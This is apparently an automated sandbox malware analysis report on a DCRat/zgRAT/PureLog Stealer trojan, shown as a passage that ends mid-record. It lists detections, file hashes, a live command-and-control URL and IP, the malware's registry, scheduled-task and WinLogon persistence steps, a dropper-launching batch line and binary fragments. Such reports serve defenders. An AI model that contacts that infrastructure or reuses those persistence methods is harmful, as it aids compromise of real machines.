Source: Yara match	File source: C:\Users\Default\Pictures\RuntimeBroker.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 8.0.Chaindriver.exe.660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Recovery\Memory Compression.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\NOFqHeDosUIopsPGLT.exe, type: DROPPED
Source: Yara match	File source: C:\Chaindriver.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\Pictures\RuntimeBroker.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	37 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Software Packing	NTDS	121 Security Software Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
t8F7Ic986c.exe	47%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
t8F7Ic986c.exe	61%	Virustotal		Browse
t8F7Ic986c.exe	100%	Avira	TR/Drop.Agent.uteef

Dropped Files

Source	Detection	Scanner	Label
C:\Recovery\NOFqHeDosUIopsPGLT.exe	100%	Avira	HEUR/AGEN.1323342
C:\Recovery\Memory Compression.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\lrFP7pOB0Z.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\Desktop\KGIrVxyv.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\TkRgFrOc.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Chaindriver.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\Default\Pictures\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\zsJdcY9yPm.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	100%	Avira	TR/AVI.Agent.denui
C:\Recovery\NOFqHeDosUIopsPGLT.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\PxTXHLsG.log	100%	Avira	TR/AVI.Agent.updqb
C:\Recovery\NOFqHeDosUIopsPGLT.exe	100%	Joe Sandbox ML
C:\Recovery\Memory Compression.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\HTKiXRcY.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\BXpblVtN.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\TkRgFrOc.log	100%	Joe Sandbox ML
C:\Chaindriver.exe	100%	Joe Sandbox ML
C:\Users\Default\Pictures\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Recovery\NOFqHeDosUIopsPGLT.exe	100%	Joe Sandbox ML
C:\Chaindriver.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Chaindriver.sfx.exe	18%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Recovery\Memory Compression.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Recovery\NOFqHeDosUIopsPGLT.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\Default\Pictures\RuntimeBroker.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	57%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\AppData\Local\Temp\_MEI75042\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI75042\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI75042\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI75042\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI75042\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI75042\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI75042\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI75042\python39.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI75042\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI75042\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\Desktop\BXpblVtN.log	8%	ReversingLabs
C:\Users\user\Desktop\FnBzuKhI.log	25%	ReversingLabs
C:\Users\user\Desktop\HTKiXRcY.log	8%	ReversingLabs
C:\Users\user\Desktop\KGIrVxyv.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\PxTXHLsG.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\TkRgFrOc.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\Zfmnrnxn.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\viEjRGTv.log	25%	ReversingLabs

Source	Detection	Scanner	Label
http://crl4.digiceN$Qw3	0%	Avira URL Cloud	safe
http://crl3.digiN$Qw3	0%	Avira URL Cloud	safe
http://797441cm.n9shteam2.top	100%	Avira URL Cloud	malware
http://797441cm.n9shteam2.top/Videouploads.php	100%	Avira URL Cloud	malware
http://crl3.digiN$Qw	0%	Avira URL Cloud	safe
http://797441cm.n9shteam2.top/	100%	Avira URL Cloud	malware
http://crl4.digice	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
797441cm.n9shteam2.top	185.158.202.52	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://797441cm.n9shteam2.top/Videouploads.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	t8F7Ic986c.exe, 00000001.00000003.1664116747.0000023EBC700000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000002.1666242087.0000023EBDF00000.00000004.00001000.00020000.00000000.sdmp	false		high
http://python.org/dev/peps/pep-0263/	t8F7Ic986c.exe, 00000001.00000002.1667701805.00007FFDFB989000.00000002.00000001.01000000.00000004.sdmp	false		high
http://crl3.digiN$Qw	t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123B2000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1658580521.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl3.digiN$Qw3	t8F7Ic986c.exe, 00000000.00000003.1657492096.000001A2123AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://797441cm.n9shteam2.top	Memory Compression.exe, 00000025.00000002.1821172623.0000000002F5D000.00000004.00000800.00020000.00000000.sdmp, Memory Compression.exe, 00000025.00000002.1821172623.0000000002D8C000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	t8F7Ic986c.exe, 00000001.00000003.1664116747.0000023EBC700000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000002.1665781347.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000003.1664352524.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.openssl.org/H	libcrypto-1_1.dll.0.dr	false		high
http://797441cm.n9shteam2.top/	Memory Compression.exe, 00000025.00000002.1821172623.0000000002D8C000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl4.digice	t8F7Ic986c.exe, 00000000.00000003.1655924578.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656071872.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656219282.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.python.org/dev/peps/pep-0205/	t8F7Ic986c.exe, 00000000.00000003.1656647593.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.dr	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	t8F7Ic986c.exe, 00000001.00000003.1664116747.0000023EBC700000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000002.1665781347.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000003.1664352524.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl4.digiceN$Qw3	t8F7Ic986c.exe, 00000000.00000003.1655924578.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656071872.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1656219282.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	t8F7Ic986c.exe, 00000001.00000003.1664352524.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl3.digi	t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123B2000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1658580521.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000000.00000003.1657492096.000001A2123AF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Chaindriver.exe, 00000008.00000002.1728153566.000000000376F000.00000004.00000800.00020000.00000000.sdmp, Memory Compression.exe, 00000025.00000002.1821172623.0000000002D8C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.python.org/download/releases/2.3/mro/.	base_library.zip.0.dr	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	t8F7Ic986c.exe, 00000001.00000003.1664116747.0000023EBC700000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000002.1665781347.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000003.1664352524.0000023EBC68D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.158.202.52	797441cm.n9shteam2.top	Netherlands		20847	PREVIDER-ASNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583176
Start date and time:	2025-01-02 07:41:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	62
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	t8F7Ic986c.exe renamed because original name is a hash value
Original Sample Name:	a4923d4db3234b3905ad3097cc03af46.exe
Detection:	MAL
Classification:	mal100.spre.troj.expl.evad.winEXE@63/47@1/1
EGA Information:	Successful, ratio: 61.5%
HCA Information:	Successful, ratio: 58% Number of executed functions: 133 Number of non-executed functions: 173
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, RuntimeBroker.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Chaindriver.exe, PID 2336 because it is empty
Execution Graph export aborted for target Chaindriver.exe, PID 7712 because it is empty
Execution Graph export aborted for target Memory Compression.exe, PID 6924 because it is empty
Execution Graph export aborted for target NOFqHeDosUIopsPGLT.exe, PID 7976 because it is empty
Execution Graph export aborted for target t8F7Ic986c.exe, PID 7520 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:42:12	API Interceptor	1x Sleep call for process: Memory Compression.exe modified
06:42:04	Task Scheduler	Run new task: Chaindriver path: "C:\Chaindriver.exe"
06:42:04	Task Scheduler	Run new task: ChaindriverC path: "C:\Chaindriver.exe"
06:42:04	Task Scheduler	Run new task: Memory Compression path: "C:\Recovery\Memory Compression.exe"
06:42:04	Task Scheduler	Run new task: Memory CompressionM path: "C:\Recovery\Memory Compression.exe"
06:42:05	Task Scheduler	Run new task: NOFqHeDosUIopsPGLT path: "C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe"
06:42:05	Task Scheduler	Run new task: NOFqHeDosUIopsPGLTN path: "C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe"
06:42:05	Task Scheduler	Run new task: RuntimeBroker path: "C:\Users\Default\Pictures\RuntimeBroker.exe"
06:42:05	Task Scheduler	Run new task: RuntimeBrokerR path: "C:\Users\Default\Pictures\RuntimeBroker.exe"
06:42:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run NOFqHeDosUIopsPGLT "C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe"
06:42:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Users\Default\Pictures\RuntimeBroker.exe"
06:42:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Memory Compression "C:\Recovery\Memory Compression.exe"
06:42:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Chaindriver "C:\Chaindriver.exe"
06:42:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run NOFqHeDosUIopsPGLT "C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe"
06:42:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Users\Default\Pictures\RuntimeBroker.exe"
06:42:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Memory Compression "C:\Recovery\Memory Compression.exe"
06:43:02	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Chaindriver "C:\Chaindriver.exe"
06:43:10	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run NOFqHeDosUIopsPGLT "C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe"
06:43:18	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Users\Default\Pictures\RuntimeBroker.exe"
06:43:26	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run Memory Compression "C:\Recovery\Memory Compression.exe"
06:43:34	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run Chaindriver "C:\Chaindriver.exe"
06:43:51	Autostart	Run: WinLogon Shell "C:\Recovery\NOFqHeDosUIopsPGLT.exe"
06:44:00	Autostart	Run: WinLogon Shell "C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.158.202.52	QH67JSdZWl.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	487997cm.renyash.top/VideoFlowergeneratorTestpublic.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PREVIDER-ASNL	QH67JSdZWl.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	185.158.202.52
	kWZnXz2Fw7.elf	Get hash	malicious	Mirai	Browse	84.241.133.1
	aQvU3QHA3N.elf	Get hash	malicious	Unknown	Browse	62.165.97.41
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	84.241.184.118
	http://maritimecybersecurity.nl	Get hash	malicious	Unknown	Browse	31.7.2.29
	21y8z80div.elf	Get hash	malicious	Mirai	Browse	80.65.103.15
	botx.arm7.elf	Get hash	malicious	Mirai	Browse	84.241.184.103
	BLBq6xYqWy.elf	Get hash	malicious	Mirai	Browse	80.65.126.250
	https://expressinvoice.mijnparagon-cc.nl/	Get hash	malicious	Unknown	Browse	84.241.158.7
	https://expressinvoice.mijnparagon-cc.nl/	Get hash	malicious	Unknown	Browse	84.241.158.7

Process:	C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	45
Entropy (8bit):	4.552638373963222
Encrypted:	false
SSDEEP:	3:mKDDj6lOTzFIVUGR:hcEyVUGR
MD5:	ACEF7B500D9FC3EA5E912ECF10781EAA
SHA1:	844D68AA82584B89B15EF3F82BD04D70FB0EB856
SHA-256:	DED8283434BD7C870ABD09FC6359A143B289BD62B3956F9D1D2AC14BFF143B08
SHA-512:	59ECC8F889A0299987114377FBEA6096E419316CCBA80C2B1EAFE5D6D4E469933EA45DBA8E4939161F5707D267BFD4530BE70B143BCFBB735E7503F53DC4CDC7
Malicious:	false
Preview:	@echo off....start Chaindriver.sfx.exe -p1234

C:\6fc2a4b0c3d029

Download File

Process:	C:\Chaindriver.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	99
Entropy (8bit):	5.515177200647307
Encrypted:	false
SSDEEP:	3:LOPQDdHbOWIdXMSUtVyGibnfXz/fyzTjiLMkn:LOedHbOPdcSUvyGMPz/fyzpk
MD5:	CDE9403651488E5763E0BAE6C178F8F4
SHA1:	ED2753F79D5F8A87ED2E75A29CD37CD75BB445AF
SHA-256:	524F853C5C7A321238A796843CBBD008C8C45531229987AEDB0FB375CDF0F189
SHA-512:	259CC01AD7096A41B5D8B4046E01430D80F53F763AB7E0F17EA6686F412A93918326AA1C6E7EE7BE5565860D835CE4ACBD000211D4E5F8813BB89BF2AB5328D3
Malicious:	false
Preview:	zmj5nHrhkxjuf8r49tYuoVaYA3m82i7muBQRlBHoY6P93WyxCzUnCObeLK5uesoBz7AesaT7ltWrFbfnFz5COUjgjwGaGXKpSNJ

C:\Chaindriver.exe

Download File

Process:	C:\Chaindriver.sfx.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	1917952
Entropy (8bit):	7.53781423596998
Encrypted:	false
SSDEEP:	49152:R89kht8D3OiDl99jDZHVk+hBTw/uJNARR:RxhtxiRD/4+/Tw2JNAR
MD5:	64F81209BCCE8D36D800FEEC26D75990
SHA1:	B3E2F1B661ABC94D38B3BB471C7E0B75A1660D0F
SHA-256:	B727092B2C5BCEAA3E910EEDFCEC738810BD531DA5EB58FBB11D253CA48D1FE2
SHA-512:	2C5454A679D81A6F4C6CCFBC17D8DA2E06A517BFCF12DFCC8AFAD7F1041D98998446E81292E5D2CC1527DC4D334451E9F97BE366F0A8D2348B7AFC9CE9C828FA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Chaindriver.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Chaindriver.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x.Zf.................<...........[... ...`....@.. ....................................@..................................[..K....`.. ............................................................................ ............... ..H............text....;... ...<.................. ..`.rsrc... ....`.......>..............@....reloc...............B..............@..B.................[......H.......................<....z...[.......................................0..........(.... ........8........E....).......M...`...8$...(.... ....~....{....:....& ....8....(.... ....~....{....9....& ....8....(.... ........8........0.......... ........8........E............l.......`...8.......... ....8....~....(O... .... .... ....s....~....(S....... ....~....{....:....& ....8....r...ps....z....~....(W...~....([... ....?.... ........8G...~....:.... ....~....{b...:-...& ....8"...

C:\Chaindriver.sfx.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	1903066
Entropy (8bit):	7.843059223598419
Encrypted:	false
SSDEEP:	49152:wZB1G8YNMJPPbLWw/tUVjbny/3tPEKOQ0Kzy:+3G/MJLLWoAq/d7Ty
MD5:	9E935AF26F27628601A2A336CA24AEF2
SHA1:	73BD448A3F95D4A336041318ED3F73726969A4F5
SHA-256:	53C231889339553E8AE274D538AB6EE9BCB471D63B1814FB1078FA475DBE82A2
SHA-512:	BEBD10C43C6FD06406C4998307C6CFFED7AF23285670C8121F09E87719FA5CC5F0ED2C5CBA0DE273FD21867C9BC44F63E42186F62B61CB9C7E8D861D878B8787
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i..i.\.i..b.\.i..g.\.`.].C.\..Y.R.\..\.a.\...a.\..^.a.\.Rich`.\.........PE..d...{S.e.........."....!.h...j......`..........@..........................................`.............................................4......P...............l0..............p....6..T....................7..(......@....................... ....................text....f.......h.................. ..`.rdata...(.......*...l..............@..@.data...\...........................@....pdata..l0.......2..................@..@.didat..`...........................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..p...........................@..B........................................................................................................................................

C:\Recovery\1a5d5b8dcee3d8

Download File

Process:	C:\Chaindriver.exe
File Type:	ASCII text, with very long lines (318), with no line terminators
Category:	dropped
Size (bytes):	318
Entropy (8bit):	5.7853613236563355
Encrypted:	false
SSDEEP:	6:zScL+3MTSjP9g0IzVNs7EAb1xq3NENhPbu6WUr9cn:++TSjP9g0EswAbWduu6Tr9c
MD5:	7C3C13820EE4D6FAD1DC95433C5AE693
SHA1:	C0EB9224133F7D621487031C4F55D3F23A761D6B
SHA-256:	4957601E3136F6AECDD8A8B7034B755D3D338EDACD0D3E01E67A32B26BD0D8B1
SHA-512:	C1395E52D06A3CBA595E9E6A19D6E76FAA7BBA20FE6DA0A688378FFA308E3349753B5F750B143DC97BE2B3F042BD8ACD32A02EB8965DC820B2438CBFE4374CA6
Malicious:	false
Preview:	2tYtpSoowlwfYd46U21OiqZ1RjQvtTg2TPo0XWvytf3qboh3ZJSofxuLTgcFB24dE3MIzEi7GCeCxtanCXWkA2Xffcg14qw0lZlhbZDVkUhcSrYkGyDofUcMgqmXhrDaQobXH2LmTB9qU5NxE6vFnIUR7YBvwqx3RGMoPAdNmaUeUw2ldySl57xHTKas1a0nNGZNsihDcicMx06LgZR7XM7TTEVFkuVMkqRNXo25QPIXekTdNOLbI2PBIF4oNccsMQmHjty2hWrIEkytv11Vj3DraPFRtNrywaLO7M4eaS4wLH7iQL3VkGJTM4qTng

C:\Recovery\36c782484df200

Download File

Process:	C:\Chaindriver.exe
File Type:	ASCII text, with very long lines (873), with no line terminators
Category:	dropped
Size (bytes):	873
Entropy (8bit):	5.901154444640347
Encrypted:	false
SSDEEP:	24:ppL7Icx8zi+HYB9jH7LSO49S+wvADzci/CcuCMRZTq:ppocx0vujbT9+X/fHSZTq
MD5:	7D1374C3F857B4DC7FB8D4CFF72B09D0
SHA1:	1A37DF299BF5D3BBDB09F4F242220B42300D5AD5
SHA-256:	AA60C9D05D3AFB1C74AA2665FD8A8BD430E9CCB4E3E2495DAC39819B390A7E8C
SHA-512:	165B39CFAE6BE6DE2319DFA83F2756EE73DA3E9D4E430842071275797C13B810EBCAFE5F25F277D45389AC49ECDF6DF228DE467891263AE5FC43F4D3BFAC29AA
Malicious:	false
Preview:	Vhw9l7HitL7GpxR4m0w9Y6Ic5SxUPalxylib6ADm1NqsZq7zZRPi4qdZZTDSJxTTkKSEOz8mxJILPaDPV757KC2IIJCn6ucD3WIOX2kjTnvvhRJ9Py7M2WIhSK5FxVpCqFR3Sz2cWVngQGk09DXIxQLhNk5M6fv88tFc9QqZ6ezgtlRLjFGu7hOZ3upr3pf1koihBI0sW7MSapylTtm1YBBbepiPl9gQ986EDtKbOXY9U68O6DYJCocimHCVklHWb5TcstijjLnBmCGirTThkWOVfXb5ry0nPBhZmfgMeyk0Ab6kBdoRSjvFr87VRn2vVAvkeq6LxGDwwXUEb14NKjUpQcsniL516yfApVGUhdeMg9TTo33asolwpFUB8SmlKLz72TYFujpqEIJQJY9pRfISNtVjBEWP02BVKVbVeypJ94rh6D2jS7UpChtI8zDpNZ0MGxGx7oKcz9TTCym7Mx62hWSmmSWou95jDeaI7Elow1zDOZGKNGdZc8oufdLoRgr0DtPhXdAILSFpgPYMMMboggGFzpnd26WQK99eJjwtFUOK29OQF8cEEDUhnKrr0hPO5yfgQ4CmarjLS6N0bXY3eSLHpb191E3iE9ODdr9L5zoXdIPq71QdIVunnY1yCDvVyBGSrJWtXN8onyngMKC9xaZsOlaE0LI2DSicB68xehF5XG9yvUm1BwhYlYEGtR3MEFkUPKfPLOeQUdUHllTfiQ1RuK0n22EMn31SgojkzWpwRRDID6fH8YnyOSkET1XTKSnbmCl6BsqLkE9dHsk5W6OPQCDNEfQ79Wm9nmgAVjGPsbNKSG7lRc7NDXKj9Y1gcsMOcAzfMkkx08hyz348hpphYY5Pb6A6rjx9P

C:\Recovery\Memory Compression.exe

Download File

Process:	C:\Chaindriver.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.53781423596998
Encrypted:	false
SSDEEP:	49152:R89kht8D3OiDl99jDZHVk+hBTw/uJNARR:RxhtxiRD/4+/Tw2JNAR
MD5:	64F81209BCCE8D36D800FEEC26D75990
SHA1:	B3E2F1B661ABC94D38B3BB471C7E0B75A1660D0F
SHA-256:	B727092B2C5BCEAA3E910EEDFCEC738810BD531DA5EB58FBB11D253CA48D1FE2
